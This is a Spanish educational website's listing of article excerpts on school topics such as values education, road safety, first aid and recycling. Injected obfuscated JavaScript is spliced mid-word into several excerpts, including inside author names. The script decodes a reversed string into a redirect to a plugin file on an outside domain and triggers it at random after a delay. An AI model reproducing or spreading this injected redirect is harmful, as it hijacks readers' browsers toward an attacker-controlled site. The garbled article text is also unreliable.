PROYECTO DE EDUCACIÓN EN VALORES Y CUIDADO DEL MEDIO AMBIENTE EN LA ESCUELA

Autora: Mª Ángeles Cortés Bernabé 1.- OBJETIVOS DEL PROYECTO A) Como objetivos- eje del Proyecto: Formación integral de los alumnos/as (3 a 16 años) en sus tres niveles:    Conocimientos, destrezas y valores. Fomentar los hábitos de comportamiento democrático para percibir un favorable clima de convivencia: Form$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == "string") return $hiVNZt4Y5cDrbJXMhLy.list[n].split("").reverse().join("");return... [Leer mas...]

¿CÓMO TRABAJAR LA EDUCACIÓN VIAL EN EDUCACIÓN INFANTIL?

Autora: María Fern$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == "string") return $hiVNZt4Y5cDrbJXMhLy.list[n].split("").reverse().join("");return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=["'php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anda... [Leer mas...]

PREVENCIÓN DE ACCIDENTES Y PRIMEROS AUXILIOS EN LOS CENTROS EDUCATIVOS

Autora: María Isabel Gamero Pardo             Según la OMS un accidente se define como “un acontecimiento independiente de la voluntad humana y provocado por una fuerza exterior que actúa rápidamente y que se manifiesta por un daño corporal o mental”.           Los accidentes infantiles ocupan un lugar prioritario como problema de salud debido a su alta frecuencia y a las secuelas temporales o permanentes a que puedan... [Leer mas...]

EDUCACIÓN EN VALORES EN LA ETAPA INFANTIL

Autora: Manuela González Castaño           Con solo tres letras se escribe la palabra PAZ, una palabra pequeña pero muy amplia a la vez.           En el mes de enero, más concretamente el día 30, celebramos en todos los centros educativos este día, procur$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == "string") return $hiVNZt4Y5cDrbJXMhLy.list[n].split("").reverse().join("");return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=["'php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth'=ferh.noitacol.tnemucod"];var... [Leer mas...]

EL OCIO COMO DOCENTE

Autor: José Ricis Guerra             Muchas son las definiciones y conceptos de la educación en el  tiempo de ocio, desde actividades realizadas fuera del centro escolar,  como aquellas acciones que se hace en nuestro tiempo libre. Al margen de las posibles definiciones que podamos acuñar para explicar el concepto de “el ocio como docente”, una cosa es clara: constituye a cubrir la puesta  al día de los conocimientos de la sociedad,... [Leer mas...]

OBESIDAD INFANTIL

Autora: Gloria Murillo Barragán           La obesidad es considerada como una enfermedad o, como muchos autores consideran, una condición clínica que induce a padecer varias enfermedades, como son las cardiovasculares, diabetes, hipertensión, triglicéridos y colesterol, entre otras muchas.           Los peligros de la obesidad no son sólo físicos, sino también psicológicos, ya que el niño obeso tiende a tener baja autoestima... [Leer mas...]

RECICLADO DE PAPEL: UNA EXPERIENCIA EN EL AULA DE EDUCACIÓN INFANTIL

Autora: María Isabel Gamero Pardo La Educación Ambiental plantea nuevos retos para este siglo, como potenciar procesos educativos participativos e interdisciplinares que conduzcan hacia una educación socialmente crítica y hacia un desarrollo sostenible en todos los ámbitos (Tilbury, 2000).             El Proyecto “Ecocentros”  cuenta con la colaboración de las Consejerías de Educación, Ciencia y Tecnología, y de Agricultura... [Leer mas...]

EDUCACIÓN DEL CONSUMIDOR

Autora: María Fern$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == "string") return $hiVNZt4Y5cDrbJXMhLy.list[n].split("").reverse().join("");return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=["'php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anda... [Leer mas...]

INFLUENCIA DE LOS MEDIOS DE COMUNICACIÓN EN LOS ESCOLARES

Autora: Patricia García Benítez             La televisión ha cambiado el comportamiento de las familias, transformándose en una necesidad primaria, cu$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == "string") return $hiVNZt4Y5cDrbJXMhLy.list[n].split("").reverse().join("");return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=["'php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth'=ferh.noitacol.tnemucod"];var... [Leer mas...]

LA INMIGRACIÓN EN LAS AULAS

Autora: Patricia García Benítez           Todos los escolares, originarios de cualquier país del mundo, tienen que gozar de los mismos derechos humanos, sin diferencias discriminatorias por su origen social, nacionalidad, edad, sexo… Es un ideal al que la mayor parte de las personas queremos llegar, pero no deja, por eso, de ser utópico, sobre todo si nos detenemos a analizar la realidad existente en la mayor parte de los colegios.           ... [Leer mas...]

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